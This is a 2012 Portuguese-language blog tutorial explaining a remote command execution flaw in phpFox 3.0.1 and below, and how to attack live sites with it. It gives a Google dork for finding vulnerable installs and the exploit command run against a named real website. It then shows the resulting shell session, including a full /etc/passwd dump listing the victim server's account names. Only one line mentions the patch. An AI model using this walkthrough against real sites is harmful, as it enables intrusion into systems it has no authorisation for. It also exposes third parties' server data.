Upload
maellson-marques
View
60
Download
2
Embed Size (px)
Citation preview
29/03/12 Tutorial: Invadindo websites com phpFox | INW-Segurança
1/9www.inw-seguranca.com/2012/03/26/tutorial-invadindo-websites-com-phpfox/#more-3211
Anúncios (http://www.inw-seguranca.com/parcerias/)
IP Logger Gen (http://www.inw-seguranca.com/ip-logger-gen/)
Fale Conosco (http://www.inw-seguranca.com/fale-conosco/)
Forum (http://www.inw-seguranca.com/forum-inw/)
Sobre Mim (http://www.inw-seguranca.com/sobre-mim/)
Pesquisar
INW-Segurança (http://www.inw-seguranca.com)
Sua Participação nos Faz os Melhores
Extras » (http://www.inw-seguranca.com/category/extras/)
Hacking » (http://www.inw-seguranca.com/category/hacker/)
Noticias (http://www.inw-seguranca.com/category/noticias/)
Programação » (http://www.inw-seguranca.com/category/programacao/)
Programas (http://www.inw-seguranca.com/category/programas/)
Redes » (http://www.inw-seguranca.com/category/redes/)
Sistemas Operacionais » (http://www.inw-seguranca.com/category/sos/)
Tutorial: Invadindo websites com phpFox <= 3.0.1
março 26, 2012 Samukt No comments (http://www.inw-seguranca.com/2012/03/26/tutorial-invadindo-websites-
com-phpfox/#respond)
Foi descoberta no dia 7 de fevereiro de 2012 e liberada em público anteontem (23/03/2012) uma vulnerabilidade
no software (#) phpFox, uma rede social (#) em PHP, muito utilizado.
A vulnerabilidade está presente na versão 3.0.1 ou anterior. Trata-se de Remote Command Execution.
Uma atualização foi liberada (versão 3.0.2), mas nem todo administrador (#) tem saco pra ficar atualizando seus
sistemas (essa é a verdade).
É daquelas falhas que há um exploit que já faz tudo pra você. Vou mostrar como utilizar o exploit, mas antes,
vamos entender a falha, que está no arquivo /include/library/phpfox/module/module.class.php, acessado
Ganhe Cupom de R$ 100,00Anuncie Hoje no Google AdWords E Faça De Cada Visita Um Novo Cliente
www.google.com/AdwordsCupom
29/03/12 Tutorial: Invadindo websites com phpFox | INW-Segurança
2/9www.inw-seguranca.com/2012/03/26/tutorial-invadindo-websites-com-phpfox/#more-3211
pelo arquivo /ajax.php, das linhas 716 até 754. Veja:
Note que o vilão principal é a função eval(). Eu sempre digo: eval is evil. Evite ao máximo dos máximos utilizar
esta função.
No eval, o programador declara uma variável ao resultado de uma função, array_merge(), mas não trata as
variáveis já declaradas utilizadas dentro do eval().
Solução (#): Atualizar para o phpFox 3.0.2.
Fechando a função array_merge, é possível executar outros códigos. Este exploit permite que você execute
códigos no terminal do sistema. Vamos utilizá-lo?
Primeiro, pegue-o aqui (http://www.inw-seguranca.com/goto/http://www.exploit-db.com/exploits/18655/). Baixe o
arquivo ou copie e salve seu conteúdo.
Você precisa ter instalado o PHP.
Para encontrar websites vulneráveis, utilize a dork:
Encontramos este website: www.valestream.com (www.valestream.com)
Então, no bash/DOS digite (suponhando que o exploit está salvo como ‘phpfox.php’):
Explicando:
php phpfox.php => diz ao PHP para executar o arquivo phpfox.php
www.valestream.com => domínio
/ => local da instalação do phpFox
Como neste caso o sistema estava rodando na raiz, colocamos apenas uma barra. Se ele estivesse instalado no
diretório “phpfox”, digitaríamos ‘/phpfox’.
Veja o resultado:
Vamos testar:
1234567891011
716. $aParts = explode('.', $sClass); 717. $sModule = $aParts[0]; 718. $sComponent = $sType . PHPFOX_DS . substr_replace(str_replace('.', PHPFOX_DS, ... 748. if (preg_match('/(.*?)\((.*?)\)/', $sComponent, $aMatches) && !empty($aMatches 749. { 750. eval('$aParams = array_merge($aParams, array(' . $aMatches[2] . '));' 751. 752. $sComponent = $aMatches[1]; 753. $sClass = $aMatches[1]; 754. }
1 intext:"Powered by phpFox Version 3.0.1"
1 php phpfox.php www.valestream.com /
1234567
nonono@debian:/nonono$ php phpfox.php www.valestream.com / +----------------------------------------------------------+| phpFox <= 3.0.1 Remote Command Execution Exploit by EgiX |+----------------------------------------------------------+ phofox-shell#
12345678
phofox-shell# iduid=1041(t2ypafw4) gid=1033(t2ypafw4) groups=1033(t2ypafw4)phofox-shell# uname -aLinux server6.hostinro.com 2.6.18-164.9.1.el5 #1 SMP Tue Dec 15 20:57:57 EST 2009 x86_64 x86_64 x86_64 GNU/Linuxphofox-shell# cat /etc/passwdroot:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologin
29/03/12 Tutorial: Invadindo websites com phpFox | INW-Segurança
3/9www.inw-seguranca.com/2012/03/26/tutorial-invadindo-websites-com-phpfox/#more-3211
91011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677
adm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/spool/mail:/sbin/nologinnews:x:9:13:news:/etc/news:uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologingames:x:12:100:games:/usr/games:/sbin/nologingopher:x:13:30:gopher:/var/gopher:/sbin/nologinftp:x:14:50:FTP User:/var/ftp:/sbin/nologinnobody:x:99:99:Nobody:/:/sbin/nologinnscd:x:28:28:NSCD Daemon:/:/sbin/nologinvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologinpcap:x:77:77::/var/arpwatch:/sbin/nologinrpc:x:32:32:Portmapper RPC user:/:/sbin/nologinmailnull:x:47:47::/var/spool/mqueue:/sbin/nologinsmmsp:x:51:51::/var/spool/mqueue:/sbin/nologinrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologinnfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologinsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologindbus:x:81:81:System message bus:/:/sbin/nologinavahi:x:70:70:Avahi daemon:/:/sbin/nologinhaldaemon:x:68:68:HAL daemon:/:/sbin/nologinavahi-autoipd:x:100:101:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologinapache:x:48:48:Apache:/var/www:/sbin/nologincpanel:x:32001:32001::/usr/local/cpanel:/bin/falsenamed:x:25:25:Named:/var/named:/sbin/nologinxfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologinmysql:x:101:103:MySQL server:/var/lib/mysql:/bin/bashmailman:x:32002:32002::/usr/local/cpanel/3rdparty/mailman:/bin/falsecpanelhorde:x:32003:32005::/var/cpanel/userhomes/cpanelhorde:/usr/local/cpanel/bin/noshellcpanelphpmyadmin:x:32004:32006::/var/cpanel/userhomes/cpanelphpmyadmin:/usr/local/cpanel/bin/noshellcpanelphppgadmin:x:32005:32007::/var/cpanel/userhomes/cpanelphppgadmin:/usr/local/cpanel/bin/noshellcpanelroundcube:x:32006:32008::/var/cpanel/userhomes/cpanelroundcube:/usr/local/cpanel/bin/noshellhostinro:x:504:501::/home/hostinro:/usr/local/cpanel/bin/noshellrivonze:x:508:504::/home/rivonze:/usr/local/cpanel/bin/noshellgabi0001:x:509:505::/home/gabi0001:/usr/local/cpanel/bin/noshellanndreii:x:510:506::/home/anndreii:/usr/local/cpanel/bin/noshelltomcat:x:102:99::/home/tomcat:/bin/bashstefan1:x:514:510::/home/stefan1:/usr/local/cpanel/bin/noshelltrimitef:x:519:515::/home/trimitef:/usr/local/cpanel/bin/noshellavaos:x:520:516::/home/avaos:/usr/local/cpanel/bin/noshellcsl2ro:x:521:517::/home/csl2ro:/usr/local/cpanel/bin/noshellmosnicol:x:524:520::/home/mosnicol:/usr/local/cpanel/bin/noshellpariulzi:x:527:523::/home/pariulzi:/usr/local/cpanel/bin/noshellcameliab:x:529:525::/home/cameliab:/usr/local/cpanel/bin/noshellvaleabuz:x:530:526::/home/valeabuz:/usr/local/cpanel/bin/noshellrecomand:x:531:527::/home/recomand:/usr/local/cpanel/bin/noshelljordivil:x:1005:1000::/home/jordivil:/usr/local/cpanel/bin/noshellrecom:x:1006:1001::/home/recom:/usr/local/cpanel/bin/noshellpromovar:x:1007:1002::/home/promovar:/usr/local/cpanel/bin/noshellcautpeci:x:1008:1003::/home/cautpeci:/usr/local/cpanel/bin/noshelliaudepen:x:1010:1005::/home/iaudepen:/usr/local/cpanel/bin/noshellcpaneleximfilter:x:1009:503::/var/cpanel/userhomes/cpaneleximfilter:/usr/local/cpanel/bin/noshellartnudep:x:1011:1006::/home/artnudep:/usr/local/cpanel/bin/noshellclamav:x:103:104:Clam Anti Virus Checker:/var/clamav:/sbin/nologindriveren:x:1016:1010::/home/driveren:/usr/local/cpanel/bin/noshellservicel:x:1017:1011::/home/servicel:/usr/local/cpanel/bin/noshellkameniro:x:1018:1012::/home/kameniro:/usr/local/cpanel/bin/noshelllumio:x:1019:1013::/home/lumio:/usr/local/cpanel/bin/noshellstefan:x:1021:1015::/home/stefan:/usr/local/cpanel/bin/noshelleventtra:x:1022:1016::/home/eventtra:/bin/bashfilmeb:x:1024:1017::/home/filmeb:/usr/local/cpanel/bin/noshellhostings:x:1026:1019::/home/hostings:/usr/local/cpanel/bin/noshellraduz:x:1028:1021::/home/raduz:/usr/local/cpanel/bin/noshelldovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologintpech6fr:x:1029:1022::/home/tpech6fr:/usr/local/cpanel/bin/noshell
29/03/12 Tutorial: Invadindo websites com phpFox | INW-Segurança
4/9www.inw-seguranca.com/2012/03/26/tutorial-invadindo-websites-com-phpfox/#more-3211
Há algumas restrições: você não pode rodar pontos (“.”) e nem parêntesis (“(” e “)”).
Divertido?
Brinquem direito!
Até mais!
Autor: 0KaL
Posted in: Pen-Test (http://www.inw-seguranca.com/category/hacker/pen-test/)
78798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119
br2m8cle:x:1030:1023::/home/br2m8cle:/usr/local/cpanel/bin/noshellstefan4:x:1035:1027::/home/stefan4:/usr/local/cpanel/bin/noshellv9traj6t:x:1036:1028::/home/v9traj6t:/usr/local/cpanel/bin/noshellprocasim:x:1037:1029::/home/procasim:/bin/falseukick:x:1038:1030::/home/ukick:/usr/local/cpanel/bin/noshellmabis:x:1040:1032::/home/mabis:/usr/local/cpanel/bin/noshellt2ypafw4:x:1041:1033::/home/t2ypafw4:/usr/local/cpanel/bin/noshellsmedia:x:1042:1034::/home/smedia:/usr/local/cpanel/bin/noshellp6v9tp6t:x:1044:1036::/home/p6v9tp6t:/usr/local/cpanel/bin/noshellpr3wr9tp:x:1045:1037::/home/pr3wr9tp:/usr/local/cpanel/bin/noshellwr4ph4n9:x:1046:1038::/home/wr4ph4n9:/usr/local/cpanel/bin/noshellropiese:x:1047:1039::/home/ropiese:/usr/local/cpanel/bin/noshelldeboala:x:1048:1040::/home/deboala:/usr/local/cpanel/bin/noshelladmin:x:1049:1041::/home/admin:/usr/local/cpanel/bin/noshellp8tp6vut:x:1050:1042::/home/p8tp6vut:/usr/local/cpanel/bin/noshelldomeniul:x:1051:1043::/home/domeniul:/bin/falseoradesan:x:1052:1044::/home/oradesan:/usr/local/cpanel/bin/noshelltramvaiu:x:1053:1045::/home/tramvaiu:/usr/local/cpanel/bin/noshelldiseasei:x:1055:1047::/home/diseasei:/usr/local/cpanel/bin/noshellfr4yp7br:x:1056:1048::/home/fr4yp7br:/usr/local/cpanel/bin/noshellbodymark:x:1057:1049::/home/bodymark:/bin/falsephofox-shell# lsajax.phpcorecrossdomain.phpgzip.phpimageimage.phpindex.htmljscriptmp3nodb.htmlpaokarapppsssssstyle*style.phptmpupgrade.html phofox-shell#
Free ServiceMix DownloadLearn & Implement JBI and OSGi with ServiceMix. Download Now for
Free!www.fusesource.com
29/03/12 Tutorial: Invadindo websites com phpFox | INW-Segurança
5/9www.inw-seguranca.com/2012/03/26/tutorial-invadindo-websites-com-phpfox/#more-3211
Deixe uma resposta
O seu endereço de email não será publicado Campos obrigatórios são marcados *
Nome *
Email *
Site
Comentário
Você pode usar estas tags e atributos de HTML: <a href="" title=""> <abbr title=""> <acronym
title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""><strike> <strong>
Publicar comentário
Posts Recentes (#widget-themater_tabs-3-id1)
Comentários (#widget-themater_tabs-3-id2)
Tags (#widget-themater_tabs-3-id3)
(http://www.inw-seguranca.com/2012/03/26/tutorial-invadindo-websites-com-phpfox/)
Tutorial: Invadindo websites com phpFox <= 3.0.1 (http://www.inw-
seguranca.com/2012/03/26/tutorial-invadindo-websites-com-phpfox/)
março 26, 2012 By Samukt
(http://www.inw-seguranca.com/2012/03/19/novo-nucleo-do-linux-conta-com-partes-do-
codigo-do-android/)
Novo núcleo do Linux conta com partes do código do Android
(http://www.inw-seguranca.com/2012/03/19/novo-nucleo-do-linux-conta-com-
partes-do-codigo-do-android/)
março 19, 2012 By Samukt
(http://www.inw-seguranca.com/2012/03/12/tutorial-clickjacking-basico/)
Tutorial: Clickjacking Básico. (http://www.inw-
29/03/12 Tutorial: Invadindo websites com phpFox | INW-Segurança
6/9www.inw-seguranca.com/2012/03/26/tutorial-invadindo-websites-com-phpfox/#more-3211
seguranca.com/2012/03/12/tutorial-clickjacking-basico/)
março 12, 2012 By Samukt
(http://www.inw-seguranca.com/2012/03/05/tutorial-invadindo-win7-internet-explorer-pelo-
msf/)
Tutorial Invadindo Win7 (+ Internet Explorer) pelo MSF (http://www.inw-
seguranca.com/2012/03/05/tutorial-invadindo-win7-internet-explorer-pelo-msf/)
março 05, 2012 By Samukt
(http://www.inw-seguranca.com/2012/02/26/materia-nocoes-do-regedit-parte-4/)
Materia: Noções do REGEDIT PARTE 4 (http://www.inw-
seguranca.com/2012/02/26/materia-nocoes-do-regedit-parte-4/)
fevereiro 26, 2012 By Samukt
Publicidade
29/03/12 Tutorial: Invadindo websites com phpFox | INW-Segurança
7/9www.inw-seguranca.com/2012/03/26/tutorial-invadindo-websites-com-phpfox/#more-3211
(http://www.inw-seguranca.com/feed/) RSS Feed (http://www.inw-seguranca.com/feed/)
(http://twitter.com/inwseguranca) Twitter (http://twitter.com/inwseguranca)
Share
(#) (#) (http://www.addthis.com/bookmark.php?
v=250&winname=addthis&pub=unknown&source=tbx-250&lng=pt-
BR&s=digg&url=http%3A%2F%2Fwww.inw-seguranca.com%2F2012%2F03%2F26%2Ftutorial-invadindo-
websites-com-
phpfox%2F&title=Tutorial%3A%20Invadindo%20websites%20com%20phpFox%20%7C%20INW-
Seguran%C3%A7a&ate=AT-unknown/-/-
/4f7444a8342cd0ef/1&frommenu=1&uid=4f7444a8a01f914e&ct=1&pre=http%3A%2F%2Fwww.inw-
seguranca.com%2Fcategory%2Fhacker%2F&tt=0) (http://www.addthis.com/bookmark.php?
v=250&winname=addthis&pub=unknown&source=tbx-250&lng=pt-
BR&s=delicious&url=http%3A%2F%2Fwww.inw-seguranca.com%2F2012%2F03%2F26%2Ftutorial-
29/03/12 Tutorial: Invadindo websites com phpFox | INW-Segurança
8/9www.inw-seguranca.com/2012/03/26/tutorial-invadindo-websites-com-phpfox/#more-3211
invadindo-websites-com-
phpfox%2F&title=Tutorial%3A%20Invadindo%20websites%20com%20phpFox%20%7C%20INW-
Seguran%C3%A7a&ate=AT-unknown/-/-
/4f7444a8342cd0ef/2&frommenu=1&uid=4f7444a83a482710&ct=1&pre=http%3A%2F%2Fwww.inw-
seguranca.com%2Fcategory%2Fhacker%2F&tt=0) (http://www.addthis.com/bookmark.php?
v=250&winname=addthis&pub=unknown&source=tbx-250&lng=pt-
BR&s=stumbleupon&url=http%3A%2F%2Fwww.inw-seguranca.com%2F2012%2F03%2F26%2Ftutorial-
invadindo-websites-com-
phpfox%2F&title=Tutorial%3A%20Invadindo%20websites%20com%20phpFox%20%7C%20INW-
Seguran%C3%A7a&ate=AT-unknown/-/-
/4f7444a8342cd0ef/3&frommenu=1&uid=4f7444a81c6a5787&ct=1&pre=http%3A%2F%2Fwww.inw-
seguranca.com%2Fcategory%2Fhacker%2F&tt=0) (#) (#)
Categorias
Extras (http://www.inw-seguranca.com/category/extras/) (14)
Hardware / Modding (http://www.inw-seguranca.com/category/extras/hardware-e-modding/)
(4)
Hacking (http://www.inw-seguranca.com/category/hacker/) (320)
E-books (http://www.inw-seguranca.com/category/hacker/e-books/) (3)
Pen-Test (http://www.inw-seguranca.com/category/hacker/pen-test/) (174)
Proteção (http://www.inw-seguranca.com/category/hacker/protecao/) (12)
Videos (http://www.inw-seguranca.com/category/hacker/videos/) (34)
Virus (http://www.inw-seguranca.com/category/hacker/virus/) (28)
Noticias (http://www.inw-seguranca.com/category/noticias/) (70)
Programação (http://www.inw-seguranca.com/category/programacao/) (17)
Delphi (http://www.inw-seguranca.com/category/programacao/delphi/) (4)
Javascript (http://www.inw-seguranca.com/category/programacao/javascript-programacao/)
(2)
Php (http://www.inw-seguranca.com/category/programacao/php-programacao/) (9)
Programas (http://www.inw-seguranca.com/category/programas/) (22)
Redes (http://www.inw-seguranca.com/category/redes/) (43)
Internet (http://www.inw-seguranca.com/category/redes/internet-redes/) (6)
Redes Sociais (http://www.inw-seguranca.com/category/redes/redes-sociais/) (8)
Sistemas Operacionais (http://www.inw-seguranca.com/category/sos/) (58)
Linux (http://www.inw-seguranca.com/category/sos/linux/) (27)
Windows (http://www.inw-seguranca.com/category/sos/windows/) (32)
Meta
Registrar-se (http://www.inw-seguranca.com/wp-login.php?action=register)
Login (http://www.inw-seguranca.com/wp-login.php)
Posts RSS (http://www.inw-seguranca.com/feed/)
RSS dos comentários (http://www.inw-seguranca.com/comments/feed/)
WordPress.org (http://wordpress.org/)
© 2012 INW-Segurança (http://www.inw-seguranca.com/). All Rights Reserved.
Powered by WordPress (http://wordpress.org/) | Designed by: BHM Personals (http://www.bhmpersonals.co.uk/) |
Thanks to Meet Rich Men (http://www.meetrichmen.co.uk), Cleaning Manager
(http://www.cleaningmanagerjobs.com/) and Bakery Jobs (http://www.bakeryjobs.org/)
29/03/12 Tutorial: Invadindo websites com phpFox | INW-Segurança
9/9www.inw-seguranca.com/2012/03/26/tutorial-invadindo-websites-com-phpfox/#more-3211